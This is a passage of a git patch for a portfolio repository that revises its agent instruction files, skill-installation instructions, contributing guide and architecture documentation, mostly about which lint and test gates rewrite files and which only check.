`audit-docs` and `audit-pr` add `#activePullRequest`, `audit-quality` adds `#file:path`, and `audit-pr` alone adds `#issue_fetch`. From f387328e9b30398a412b4cbf142d4131d0100226 Mon Sep 17 00:00:00 2001 From: Alexander Sullivan Date: Mon, 3 Aug 2026 19:13:55 -0400 Subject: [PATCH 7/7] ran audit docs --- .claude/agents/validator.md | 2 +- .github/copilot-instructions.md | 4 +- .github/prompts/readme.md | 37 +++++---- CLAUDE.md | 5 +- CONTRIBUTING.md | 53 ++---------- docs/architecture/app-directory.md | 20 +++-- docs/architecture/components/avatar.md | 14 ++-- .../components/cookie-snackbar.md | 28 ++----- docs/architecture/components/index.md | 37 ++++----- docs/architecture/components/navbar.md | 14 +--- docs/architecture/components/projects.md | 81 ++++++------------ docs/architecture/components/publications.md | 3 +- docs/architecture/components/socials.md | 12 ++- docs/architecture/components/stars.md | 82 ++++--------------- docs/architecture/configs.md | 12 ++- docs/architecture/constants.md | 2 + docs/architecture/helpers.md | 10 ++- docs/architecture/pwa.md | 37 +++------ docs/architecture/service-worker.md | 19 +++-- docs/architecture/utils.md | 5 +- docs/index.md | 1 + docs/usage/setup.md | 18 ++-- docs/usage/testing.md | 25 +++--- src/app/error.tsx | 8 +- src/app/global-error.tsx | 8 +- src/app/not-found.tsx | 1 - src/constants/index.ts | 4 +- src/helpers/aaaahhhh.ts | 16 +++- src/styles/theme.ts | 6 +- 29 files changed, 229 insertions(+), 335 deletions(-) diff --git a/.claude/agents/validator.md b/.claude/agents/validator.md index 070988a8..60395943 100644 --- a/.claude/agents/validator.md +++ b/.claude/agents/validator.md @@ -26,7 +26,7 @@ The chain is `&&`, so a failure at position 5 means `build` and `lint:markdown` If `test:cypress:e2e` fails, quote the actual error. Treat it as an environment limit only when the Cypress **binary fails to launch**, an Electron or window-server error raised before any spec runs, since Cypress needs a GUI session a headless agent shell may not have. A failing assertion inside a spec is a real failure. Either way, report which gates actually ran (see [`code-qa.yaml`](../../.github/workflows/code-qa.yaml) for what CI covers). -Two ordering notes. `npm run prettier` and `npm run eslint` both write; run Prettier again after any ESLint fix, because the `curly` fix inserts braces inline where Prettier would break the statement across lines. Finish with `npm run prettier:check`, which is what CI runs. +Three of the gates write. `npm run prettier`, `npm run eslint`, and `npm run lint:markdown` each apply every fix their tool can apply and fail only on what is left, so exit code 0 can still leave a dirty tree. Report the files they rewrote. Run Prettier again after any ESLint fix, because the `curly` fix inserts braces inline where Prettier would break the statement across lines, then finish with `npm run prettier:check`, which is what CI runs. `npm run test:jest` carries `--passWithNoTests`, so exit code 0 alone does not prove tests ran. Report the test count. diff --git a/.github/copilot-instructions.md b/.github/copilot-instructions.md index 3c03a21d..be610c7f 100644 --- a/.github/copilot-instructions.md +++ b/.github/copilot-instructions.md @@ -24,7 +24,7 @@ npm run test:cypress:e2e # E2E tests headless npm run build # Production build ``` -**Always run `npm run validate` before committing**, and frequently while making changes. This is the quality gate CI runs. +**Always run `npm run validate` before committing**, and frequently while making changes. It runs the fixing variants (`prettier`, `eslint`, `lint:markdown`): it repairs whatever an autofix can repair and exits non-zero on the rest, so commit what it rewrote. CI runs the reading variants (`prettier:check`, `eslint:check`, `lint:markdown:check`) and modifies nothing, so a fix left unstaged fails the build. **Never make the repository depend on AI agent files.** If `.claude/` and `.github/prompts/` were deleted, everything must still build, test, and lint. No `package.json` script, config, workflow, or page under `docs/` may reference or invoke anything in them. The dependency runs one way: agent tooling may name a project command, never the reverse. The only exception is an ignore or exclude glob, which is inert when the path is absent. Agent tooling that needs running gets a target in `.claude/Makefile`, which is deleted along with the tooling it drives. @@ -149,7 +149,7 @@ Follow the [Google TypeScript Style Guide](https://google.github.io/styleguide/t - **Control flow**: `===` and `!==` always, except `== null` when both `null` and `undefined` should match. Prefer `for...of`, never unfiltered `for...in` - **Errors**: throw only `Error` or a subclass, always via `new Error(...)`. An empty `catch` needs a comment saying why -Not adopted: `snake_case` filenames (kebab-case directories with PascalCase components here), the ban on `_` identifier prefixes (unused arguments require it), and mandatory return-type annotations. +Not adopted: the ban on default exports (this repository uses them for the module kinds listed above), `snake_case` filenames (kebab-case directories with PascalCase components here), the ban on `_` identifier prefixes (unused arguments require it), and mandatory return-type annotations. ### Readability diff --git a/.github/prompts/readme.md b/.github/prompts/readme.md index 235363e8..df763b16 100644 --- a/.github/prompts/readme.md +++ b/.github/prompts/readme.md @@ -35,44 +35,45 @@ None of them audits your whole repository by default, which matters on a large c **As a single prompt file.** Copy the `.prompt.md` into `.github/prompts/` and invoke it with `/audit-pr` in chat. Use this path when repository policy prevents installing anything else, since it is one file with no dependencies. -**As a skill, by package manager.** Every prompt above also ships as a skill, and an installer places the directory wherever your agent reads it. Name the one you want: +**As a skill, by package manager.** Every prompt above also ships as a skill directory. Two installers do the job, and either places it wherever your agent reads it. The skill names are `audit-docs`, `audit-pr`, and `audit-quality`. -```bash -npx skills add AlexJSully/AlexJSully-Portfolio --skill audit-docs -npx skills add AlexJSully/AlexJSully-Portfolio --skill audit-pr -npx skills add AlexJSully/AlexJSully-Portfolio --skill audit-quality - -# Dropping `--skill` offers them interactively instead -npx skills add AlexJSully/AlexJSully-Portfolio +With [`npx skills`](https://github.com/vercel-labs/skills), from Vercel Labs: -# Adding `--all` takes every one -npx skills add AlexJSully/AlexJSully-Portfolio --all +```bash +npx skills add AlexJSully/AlexJSully-Portfolio # pick from a list +npx skills add AlexJSully/AlexJSully-Portfolio --skill audit-docs # or name one +npx skills add AlexJSully/AlexJSully-Portfolio --all # or take every one +npx skills check # which have updates +npx skills update # take them ``` -Dropping `--skill` offers them interactively instead, and `--all` takes every one. The GitHub CLI does the same job: +`list` and `remove` manage what you already have. + +With [`gh skill`](https://cli.github.com/manual/gh_skill), from the GitHub CLI, version 2.90.0 or later and in public preview: ```bash -gh skill install AlexJSully/AlexJSully-Portfolio --skill audit-pr --agent claude +gh skill install AlexJSully/AlexJSully-Portfolio --skill audit-pr +gh skill install AlexJSully/AlexJSully-Portfolio --skill audit-pr --pin +gh skill update ``` -`npx skills` (Vercel Labs) and `gh skill` (GitHub CLI 2.90.0 or later, in preview) both target Claude Code, Copilot, Cursor, Codex, and Gemini. `gh skill` additionally pins to a tag or commit with `--pin`. +Both target Claude Code, Copilot, Cursor, Codex, and Gemini CLI. `gh skill` installs for Copilot by default and reaches the others through `--agent`. + +**Resolving the `#` references.** Some hosts resolve `#codebase`, `#changes`, and the rest automatically; the ones that do not need a **context resolution** table, which maps each reference to the command to run instead. `audit-pr` and `audit-quality` carry that table in both halves. `audit-docs` carries it in the skill half only, since every host that reads a prompt file resolves those three itself. Which references appear varies: all three use `#codebase` and `#changes`, `audit-docs` and `audit-pr` add `#activePullRequest`, `audit-quality` adds `#file:path`, and `audit-pr` alone adds `#issue_fetch`. ### Other skills in the same repository -One more is published from the same place and has no prompt half, because it is not an audit you run: +One more is published from the same place and has no prompt half, because it is not an audit you run. Either installer takes it: ```bash npx skills add AlexJSully/AlexJSully-Portfolio --skill typescript-code-and-test-standards +gh skill install AlexJSully/AlexJSully-Portfolio --skill typescript-code-and-test-standards ``` `typescript-code-and-test-standards` loads while you write rather than after, carrying the TypeScript and JavaScript rules a formatter and a linter cannot check: comment discipline, documentation on every exported symbol, tests shipping alongside logic changes, and a mocking policy whose default is not to mock. It reads the host project's own Prettier, ESLint, and test-runner configuration instead of imposing one, and activates on `.ts`, `.tsx`, `.js`, `.jsx`, `.mjs`, `.cjs`, `.mts`, and `.cts`. It pairs with `audit-quality` rather than overlapping it: one applies as the code is written, the other audits it once it exists. Two further skills live in that directory carrying `metadata.internal`, so no installer offers them and `--all` skips them. They drive this repository's own tooling and would do nothing in yours. -**As a skill, by hand.** Copy the directory into `.claude/skills/`, `.github/skills/`, or `.agents/skills/`, whichever your agent reads. Invoke it with `/audit-pr`, or let the agent pick it up from its `description`. Either way this is the fuller half: it brings its bundled `references/`, `agents/`, and `assets/` with it. - -**Resolving the `#` references.** Some hosts resolve `#codebase`, `#changes`, and the rest automatically; the ones that do not need a **context resolution** table, which maps each reference to the command to run instead. `audit-pr` and `audit-quality` carry that table in both halves. `audit-docs` carries it in the skill half only, since every host that reads a prompt file resolves those three itself. Which references appear varies: all three use `#codebase` and `#changes`, `audit-docs` and `audit-pr` add `#activePullRequest`, `audit-quality` adds `#file:path`, and `audit-pr` alone adds `#issue_fetch`. - ## Keeping the two halves honest Only relevant if you keep both. Since they are no longer identical, a diff cannot tell you whether they still agree, and the question splits in two. diff --git a/CLAUDE.md b/CLAUDE.md index f68564dc..e037b6c9 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -23,17 +23,18 @@ This repo is worked on by **both** GitHub Copilot and Claude Code. Keep these au - `npm run dev` - dev server at localhost:3000 - `npm run validate` - full quality gate (prettier, eslint, tsc, jest, cypress, build, markdownlint) -- Individual gates: `npm run prettier:check`, `npm run eslint:check`, `npm run tsc`, `npm run test:jest`, `npm run test:cypress:e2e`, `npm run build`, `npm run lint:markdown:check` +- Individual gates, none of which write: `npm run prettier:check`, `npm run eslint:check`, `npm run tsc`, `npm run test:jest`, `npm run test:cypress:e2e`, `npm run build`, `npm run lint:markdown:check` - Run a **single** Jest test: - one file: `npx jest src/components/banner/Banner.test.tsx` - one case by name: `npx jest -t 'partial test name'` - (path aliases resolve in tests via `moduleNameMapper` in [`jest.config.js`](jest.config.js)) -- Install with `npm ci`. CI runs on **Node 24.x** ([`.github/workflows/code-qa.yaml`](.github/workflows/code-qa.yaml)); there are no pre-commit hooks, so `npm run validate` is the manual equivalent. +- Install with `npm ci`. CI runs on **Node 24.x** ([`.github/workflows/code-qa.yaml`](.github/workflows/code-qa.yaml)); there are no pre-commit hooks, so `npm run validate` is what covers the same ground by hand. ## Validation **Every change to logic, tests, configuration, or documentation ends with the quality gates run and green.** This is not optional and not deferrable. +- **`validate` writes and CI does not.** Three of its gates run the fixing variants (`prettier`, `eslint`, `lint:markdown`): each repairs whatever its autofix reaches and exits non-zero on what is left, such as a markdown file that does not open with a top-level heading. The other four (`tsc`, `test:jest`, `test:cypress:e2e`, `build`) only report. The workflows run the reading variants (`prettier:check`, `eslint:check`, `lint:markdown:check`) and modify nothing, so commit what `validate` rewrote or CI fails on the rule that rewrite settled. - Confirm the **actual exit code** (`echo "EXIT: $?"`) after each gate. The output is long and failures surface at the end, so scrolling it is not a check. - A single gate is never a substitute for the full set. Running `npm run test:jest` alone skips type checking, linting, the build, and markdown linting. - The skill publishability check is deliberately **not** a gate: `npm run validate` must work with no agent tooling present. Run it with `make -f .claude/Makefile check-skills`, and hand any semantic divergence between a published audit's two halves to the `prompt-skill-sync` subagent, which no script can decide. diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index a78644e6..7381bfb6 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -2,55 +2,16 @@ We are open to any contributions at any time. When contributing, we ask you to please first discuss the change you wish to make via issue, email, or any other method with the owners of this repository before making a change. -Please note we have a code of conduct, please follow it in all your interactions with the project. +Participation is governed by the [Code of Conduct](CODE_OF_CONDUCT.md). ## Pull Request Process -1. Ensure any install or build dependencies are removed before the end of the layer when doing a build. -2. Update the [README.md](README.md) with details of changes to the interface, this includes new environment variables, exposed ports, useful file locations and container parameters. -3. Increase the version numbers in any examples files and the [README.md](README.md) to the new version that this Pull Request would represent. The versioning scheme we use is [SemVer](https://semver.org/). -4. You may merge the Pull Request in once you have the sign-off of two other developers, or if you do not have permission to do that, you may request the second reviewer to merge it for you. +1. Install with `npm ci` and develop against `npm run dev`. See [Setup & Installation](docs/usage/setup.md) for environment variables and path aliases. +2. Run `npm run validate` before opening the pull request and commit whatever it rewrote. Three of its seven gates apply fixes in place while the workflows run read-only equivalents, so an unstaged fix passes locally and fails in continuous integration. [Testing](docs/usage/testing.md) covers the full chain. +3. Update the documentation your change affects: [README.md](README.md) for anything a reader of the repository root would need, [docs/index.md](docs/index.md) for architecture or usage, and [CHANGELOG.MD](CHANGELOG.MD) for a user-visible change. +4. Update the version in [package.json](package.json) and [CITATION.cff](CITATION.cff) when the change warrants a release. The versioning scheme we use is [SemVer](https://semver.org/). +5. You may merge the Pull Request in once you have the sign-off of two other developers, or if you do not have permission to do that, you may request the second reviewer to merge it for you. ## Code of Conduct -### Our Pledge - -In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience nationality, personal appearance, race, religion, or sexual identity and orientation. - -### Our Standards - -Examples of behavior that contributes to creating a positive environment include: - -- Using welcoming and inclusive language -- Being respectful of differing viewpoints and experiences -- Gracefully accepting constructive criticism -- Focusing on what is best for the community -- Showing empathy towards other community members - -Examples of unacceptable behavior by participants include: - -- The use of sexualized language or imagery and unwelcome sexual attention or advances -- Trolling, insulting/derogatory comments, and personal or political attacks -- Public or private harassment -- Publishing others' private information, such as a physical or electronic address, without explicit permission -- Other conduct which could reasonably be considered inappropriate in a professional setting - -### Our Responsibilities - -Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. - -Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. - -### Scope - -This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. - -### Enforcement - -Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team. All complaints will be reviewed and investigated and will result in a response that is deemed necessary and appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. - -Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. - -### Attribution - -This Code of Conduct is adapted from the [Contributor Covenant](https://contributor-covenant.org), version 1.4, available at [https://contributor-covenant.org/version/1/4](https://contributor-covenant.org/version/1/4/) +This project follows the [Contributor Covenant](CODE_OF_CONDUCT.md). Read it before your first contribution, and follow it in every interaction with the project. Report unacceptable behaviour to the project team; complaints are reviewed in confidence. diff --git a/docs/architecture/app-directory.md b/docs/architecture/app-directory.md index e24ffc39..69457709 100644 --- a/docs/architecture/app-directory.md +++ b/docs/architecture/app-directory.md @@ -22,10 +22,14 @@ The portfolio uses Next.js App Router, where file names in [src/app/](../../src/ ```mermaid flowchart TD accTitle: App Router Component Hierarchy - accDescr: Layout wraps all routes and provides metadata, includes GeneralLayout which contains Navbar, Footer, StarsBackground and CookieSnackbar. Page renders Banner, ProjectsGrid, and Publications + accDescr: layout.tsx wraps all routes, provides metadata and JSON-LD structured data, and renders ThemeRegistry, ServiceWorkerRegister, and SpeedInsights. ThemeRegistry wraps GeneralLayout, which contains Navbar, Footer, StarsBackground and CookieSnackbar. page.tsx renders Banner, ProjectsGrid, and Publications Layout[layout.tsx] -->|Wraps| Page[page.tsx] Layout -->|Provides| Metadata[SEO & Metadata] - Layout -->|Includes| GL[GeneralLayout] + Layout -->|Emits| JSONLD[JSON-LD structured data] + Layout -->|Renders| TR[ThemeRegistry] + Layout -->|Renders| SW[ServiceWorkerRegister] + Layout -->|Renders| SI[SpeedInsights] + TR -->|Wraps| GL[GeneralLayout] GL -->|Contains| Navbar GL -->|Contains| Footer GL -->|Contains| Stars[StarsBackground] @@ -35,13 +39,15 @@ flowchart TD Page -->|Renders| Pubs[Publications] ``` -The root layout renders GeneralLayout which provides navigation, footer, background, and cookie consent for all pages. +The root layout wraps GeneralLayout in [ThemeRegistry](../../src/components/ThemeRegistry.tsx), so the MUI theme reaches every component while the client boundary stays at that one provider. GeneralLayout then supplies navigation, footer, background, and cookie consent for all pages. ## Root Layout **Metadata Configuration:** The layout exports a metadata object with SEO tags, OpenGraph, Twitter Cards, and PWA manifest path. Keywords are imported from [src/data/keywords.ts](../../src/data/keywords.ts). -**Viewport Setup:** Defines theme color (#131518), responsive scaling, and device width settings for mobile browsers. +**Viewport Setup:** Defines theme color (#131518), an initial scale of 1 at device width, and `colorScheme: 'dark'`, which tells the browser to render form controls and scrollbars in their dark variants. + +**Structured Data:** The layout serializes three JSON-LD blocks into a `